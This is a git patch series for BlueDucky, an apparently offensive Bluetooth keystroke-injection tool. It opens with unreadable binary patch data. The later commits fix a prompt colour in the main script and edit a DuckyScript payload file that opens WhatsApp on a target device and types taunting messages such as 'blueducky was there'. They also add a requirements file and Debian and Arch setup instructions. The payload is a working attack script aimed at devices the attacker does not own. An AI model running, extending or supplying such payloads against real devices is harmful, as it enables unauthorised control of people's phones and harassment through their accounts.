znR#Mwa|<}u|5%Nzj1jPi%-10I?E7bpcCQv(o;qs$#BaFP{h&wZ0-kQG>i;Is|Nl?v zrVy3umry{#H>drksn$8<=-k8dB2!M+HskU+WDmoh*R+y%DLFaWuK2^hGjG3NV_srk zc57p&i#NXjGm>wSy9L_#SDgl2Bw_0}yrY!{sqP{;!Y8n{g7pkRk9c zPIWSnBWCpF><{A?RV#-Lmp_B3KLC<@aPmR{=T$>ra$zV%vmYhR|5D?8jq^Q|Y?tljl6;csZp z_wOUH{!=VVT!BciI`*sYcus*GS9!By=wwl>Wu6wNyVD9_HAc0jO6uXX%Qfn++$^G&A?}R=FRp>c?XE1d;2_DB@hCNd2)-trK))H?VG*g?wNd=N^US9ECPU^l3K16JNtsT5;7YgwW?U_)X z?JLTCxQ%+^?|8~5De|Tk0Ff}^qc*mG^6!XG&ptJBU4>g^3)%|fGxq_Gsx50f-qh*t7o2h2Cex;Y1MOm_OH z2>BS2_*J|T10!~uYi(AjH%FsL;lH*IGxsrtUo!Mtxr-5Agu(Ki(k@8k6FqmK#3C3y zUTI4#BpS)%{7UCu)`_+u>o-t;Lo5p3W?D}wxHF=LyvM;`IWs_fZ^Pg_BO~LTQDYj7 zyhp}@J&r!K8K)w;1%+Uvb@w^!orWlYurFpu2~#fukvMRQbPNeuo|-CH#{9V?3LM1T zSAkc9FT1^Uq%kRzy>ABqhW)y=b%iT+SWMH)c4TVW55oKsME5lG!7|!`B(TA_U ze?J(jElUIzLMXo-o4jC{V1LY$lMlnPD_jx(Ljvx40D%H2d<@();be3eKi=dRlho;= z8`0UE3f~|dM8>4O6D?l6nE#--5r}$Y;4^JN;8itKBPPKFs zn{_2J8}Q>B(CoVNJ;C3kLK zfA|3aE+q|b-`)%hlM3VK;uRaOhr<#&JHKvFX0uQpYl}vJua5uypdV?}7szezP?^SX zSd8&aQc*RqZltB9flPp%@64u=7B66L60%V5OM6$R<~&Q{m2n>RNY+Vly+ArWL*3sF zX{9d8aQt{XXllBSIX>z=+YW5>TVr|y(#h+P!Yu1G$t(k#aIOqNo9PAk7y6G+F_wke z)@!9cF38wA;O!S=(MD4uN51lUb%^9wSJsniWu0+cA8N-2OPuB+2f6W4hQ0&&M~e;45F**7i; z`fwWikF8@WhUyc!7+&Uoifc+JpqY-s9@A*B&j=vq(5W2jnVlh`Z83x9RaLG&IwmM z7_WQ%{bI58YFC<4m)mI7r;%BPpo1r?2N3YRxwI!o33zQ^&8GYTpuW%@>7efy6xH;r z^G9c*I3po|NJY(|VXZ__?ut3f)Cj7u6(f$S!r=HD?qc>$yu_N^^q#*EjPZrv&$-0? zQ3I7zcyFWv?d?_LPFywix^XuzCRv*~3aHAZPM`hkQOOBjzm18;v`exG3weXV0}8QJ z#TnzA6*a7*%gqSA~v>dArE?3 zFDgi6PbA6NXjZ~VoM5`7l2Xpfy|_j4!LYFR?@wD44op-%JRSgyuCm*f*U~pNKvNjF zus-k9^$PjXBU^qMT2KV&h;IRV0L7Tk9}`2-@8j&MU8Bc5$fNYDfCdeS{EJV@3U;ik z*dtldmHP6>J!?SiZGTV8>^ka~`yDM60SXh`jS>RGHGJ4H^Tjn!4IjQdVfCFeZOawDrM{<3GfX7YSMB zQXm77$0Cq$$g-=Yk;Z^@)U0ERX;ln?=-KCL(BQ2xJ#Ft&+{h<{7%g-j2WZVw>tf@y z^H@fKj2{2mbS7`hQ5T)awcZozXa69AC`VHJ>?qajyc<^M0T8Cwhyg@cnu zckdVK{9U&QU^Rcd6FOn+``;uw{1%bEKSIx*eoyVrlp8Of@373pnoT~YV~EvjT31X= zf?+f3-@big?cR;9`~3~ zd&gNEAvbF(0XevNpP00j(RX`IZHfm~y=P5P-nn(!UJwKZv7WLjk5%y89FrJTUpn(> z12bdS0no_o6((E$TB`Mp8^P0uGl2MX*qlVJa=`$IjeorPradWfP;K<@bX9jI=g}^G z#G~}D5nsSvfb7Wz!&pns!;%1=hSq6`&2? zW;Smj>iP4Z5+`C)HaD#cE#-V!=XC*h8{ZobxFJB@e1*3E(P^azFBr46oPI3pzW0o5 zgb(D7?KpYm5?4;nY$n2^eGzR8Bzy~te2!`Qtv}`hYXJ&}cg)?NUjC~(YR~4FW&WdI zQS-0k|9RQ{-6yag099F^1R0;;Jb@hpfkO9@e||gRe>Co4w0xL*yt8rbjoA_q=+TGX z05rs}z1QF$T?@petuL6xPn)hOvQ_p*m`HJC9@cQdw>Usqvexj zw=8CXw>%y_oUEh+9|HoucLT)iz-t3Fvb}%?2Nd+Ze*23RKR*ccoWr$xP5Gs<)=f#^ P49M`ZiC&5BohSbnzI9im literal 0 HcmV?d00001 From 039d7ad2c3b6fcb74991dea9a4744fa76225e55d Mon Sep 17 00:00:00 2001 From: Charles Johnson <138817709+Lamentomori@users.noreply.github.com> Date: Wed, 15 May 2024 19:10:29 -0500 Subject: [PATCH 19/23] Update BlueDucky.py fixed an error that broke the user experience --- BlueDucky.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/BlueDucky.py b/BlueDucky.py index d3402e8..b4d2b72 100644 --- a/BlueDucky.py +++ b/BlueDucky.py @@ -695,7 +695,7 @@ def main(): blue = "\033[0m" red = "\033[91m" reset = "\033[0m" - payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{white}: {blue}") + payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{reset}: {blue}") selected_payload = None try: From 29168b13fc51f20e7bb8ac299c614442a85d2cb5 Mon Sep 17 00:00:00 2001 From: ColdVisionz <73615575+coldvisionz@users.noreply.github.com> Date: Thu, 16 May 2024 20:41:30 +0000 Subject: [PATCH 20/23] Update wp_payload.txt Tiny fixes --- payloads/wp_payload.txt | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/payloads/wp_payload.txt b/payloads/wp_payload.txt index 210d365..e5c29b1 100644 --- a/payloads/wp_payload.txt +++ b/payloads/wp_payload.txt @@ -1,4 +1,4 @@ -REM Opens a private browser to https://wa.me/<+number> +REM Opens a browser to https://wa.me/<+number> DELAY 200 ESCAPE GUI d @@ -22,27 +22,27 @@ TAB ENTER DELAY 7000 REM # Enter your message here -STRING get clapped by *4ngel6uard* +STRING get clapped by 4ngel6uard DELAY 500 TAB TAB ENTER DELAY 2000 REM # Enter your another message here -STRING _https://t.me/ +STRING hehehe DELAY 300 TAB TAB ENTER DELAY 2000 REM # Enter your another message here -STRING xo xo +STRING blueducky was there DELAY 300 TAB TAB ENTER DELAY 2000 -REM # Enter your another message here +REM # Enter your another message here (doesn't send, leaves in a box) STRING good luck =) From dd85ee57f1bbad187906cea632c4b3b63f06d5ec Mon Sep 17 00:00:00 2001 From: Opabinia <144001335+pentestfunctions@users.noreply.github.com> Date: Wed, 22 May 2024 18:32:22 +1200 Subject: [PATCH 21/23] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 5097547..5620e8b 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,8 @@ Thanks to all the people at HackNexus. Make sure you come join us on VC ! https://discord.gg/HackNexus +NOTES: I will not be able to run this on a laptop or other device outside of a raspberry pi for testing. Due to this, any issues you have will need to be resolved amonsgt each other as I do not have the spare funds to buy an adapter. + 1. [saad0x1's GitHub](https://github.com/saad0x1) 2. [spicydll's GitHub](https://github.com/spicydll) 3. [lamentomori's GitHub](https://github.com/lamentomori) From 55fabb3ad498242d0a4fbb020fb465ee9b7ae58b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=92=9F=E6=99=BA=E5=BC=BA?= Date: Thu, 23 May 2024 20:08:26 +0800 Subject: [PATCH 22/23] added requirements.txt --- README.md | 6 ++++++ requirements.txt | 3 +++ 2 files changed, 9 insertions(+) create mode 100644 requirements.txt diff --git a/README.md b/README.md index 5620e8b..4ad4d42 100644 --- a/README.md +++ b/README.md @@ -66,6 +66,12 @@ sudo hciconfig hci0 up python3 BlueDucky.py ``` +alternatively, + +```bash +pip3 install -r requirements.txt +``` + ## Operational Steps 🕹️ 1. On running, it prompts for the target MAC address. 2. Pressing nothing triggers an automatic scan for devices. diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..608ca44 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +pyobjc +pybluez +setuptools==57.5.0 \ No newline at end of file From a47d95f66ffc4270f4d968953e8572180b612bd3 Mon Sep 17 00:00:00 2001 From: ColdVisionz <73615575+coldvisionz@users.noreply.github.com> Date: Sat, 25 May 2024 21:04:30 +0000 Subject: [PATCH 23/23] Update README.md --- README.md | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5620e8b..d29c354 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ I've successfully run this on a Raspberry Pi 4 using the default Bluetooth modul ## Installation and Usage 🛠️ -### Setup Instructions +### Setup Instructions for Debian-based ```bash # update apt @@ -51,6 +51,29 @@ git clone https://github.com/pybluez/pybluez.git cd pybluez sudo python3 setup.py install +# build bdaddr from the bluez source +cd ~/ +git clone --depth=1 https://github.com/bluez/bluez.git +gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth +sudo cp bdaddr /usr/local/bin/ +``` +### Setup Instructions for Arch-based + +```bash +# update pacman & packages +sudo pacman -Syyu + +# install dependencies +# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package +sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \ + python-setuptools python-pydbus python-dbus + git gcc python-pip \ + +# install pybluez from source +git clone https://github.com/pybluez/pybluez.git +cd pybluez +sudo python3 setup.py install + # build bdaddr from the bluez source cd ~/ git clone --depth=1 https://github.com/bluez/bluez.git